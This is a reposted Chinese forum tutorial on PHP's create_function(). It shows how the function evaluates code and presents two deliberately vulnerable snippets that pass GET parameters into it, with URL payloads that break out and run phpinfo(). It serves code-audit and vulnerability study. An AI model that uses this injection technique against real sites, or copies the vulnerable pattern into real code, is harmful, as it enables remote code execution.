翼度科技»论坛 编程开发 PHP 查看内容

PHP create_function()函数应用实例详解

3

主题

3

帖子

9

积分

新手上路

Rank: 1

积分
9
前言

一直遇到过这个 函数,但是不知道怎么利用 这回学习一下这个函数

create_function()简介

适用 PHP4>4.0.1 PHP 5 PHP7
  1. 语法:create_function(string $args,  string $code)string $args 声明的函数变量部分string $code 执行的方法代码部分
复制代码
函数功能
  1. <?php
  2. $newfunc = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');
  3. echo "New anonymous function: $newfunc\n";
  4. echo $newfunc(2, M_E) . "\n";
  5. ?>
复制代码

分析:
create_function() 会创造一个匿名函数 (lambda样式) 此处创建了一个叫 lamvda_1 的函数, 在第一个 echo 中 显示名字, 并在第二个echo 语句中执行了 此函数。
create_function() 函数 会在内部 执行 eval() , 我们发现是执行了 后面的 return 语句,属于create_function() 中的第二个参数 string $code 的位置
因此,上述匿名函数的创建与执行过程等价于:
  1. <?php
  2. function lambda_1($a,$b){
  3.     return "ln($a) + ln($b) = " . log($a * $b);
  4. }
  5. ?>
复制代码
create_function( ) 函数在代码审计中,主要用来查找项目中的代码注入和回调后门的情况,熟悉了执行流程, 可以实现对代码注入的 payload 构造,从而 进行漏洞挖掘和找出存在缺陷

代码注入实例


0x01
  1. <?php
  2. error_reporting(0);
  3. $sort_by = $_GET['sort_by'];
  4. $sorter = 'strnatcasecmp';
  5. $databases=array('1234','4321');
  6. $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by . '"], $b["' . $sort_by . '"]);';
  7. usort($databases, create_function('$a, $b', $sort_function));
  8. ?>
复制代码
payload:
  1. http://localhost/test1.php?sort_by=%27%22]);}phpinfo();/*
复制代码

还原实际的组合过程:
  1. $sort_function = ' return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
复制代码
匿名函数实际的执行:
  1. function niming($a,$b){
  2. return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
  3. }
复制代码
$sort_by 是我们传入的值。
回车换行整理一下:
  1. function niming($a,$b){
  2. return 1 * ' . $sorter . '($a["' . $sort_by '"]);}phpinfo();/*
  3. }
复制代码
0x02
  1. <?php
  2. $c=$_GET['c'];
  3. $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen($c));");
  4. $array=array('reall long string here,boy','this','midding lenth','larget');
  5. usort($array,$lambda);
  6. print_r($array);
  7. ?>
复制代码
payload:
  1. http://localhost/test2.php?c=1));}phpinfo();/*
复制代码

还原实际的组合过程:
  1. $lambda=create_function('$a,$b',"return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));");
复制代码
匿名函数实际的执行:
  1. function ft($a,$b){
  2.     return (strlen($a)-strlen($b)+" . "strlen(1));}phpinfo();/*));
  3. }
复制代码
换行整理:
  1. function ft($a,$b){
  2.     return (strlen($a)-strlen($b)+" . "strlen(1));
  3.     }
  4.     phpinfo();
  5.     /*));
  6. }
复制代码
到此这篇关于PHP create_function()函数应用实例详解的文章就介绍到这了,更多相关PHP create_function()函数内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

来源:https://www.jb51.net/article/264470.htm
免责声明:由于采集信息均来自互联网,如果侵犯了您的权益,请联系我们【E-Mail:cb@itdo.tech】 我们会及时删除侵权内容,谢谢合作!

本帖子中包含更多资源

您需要 登录 才可以下载或查看,没有账号?立即注册

x

举报 回复 使用道具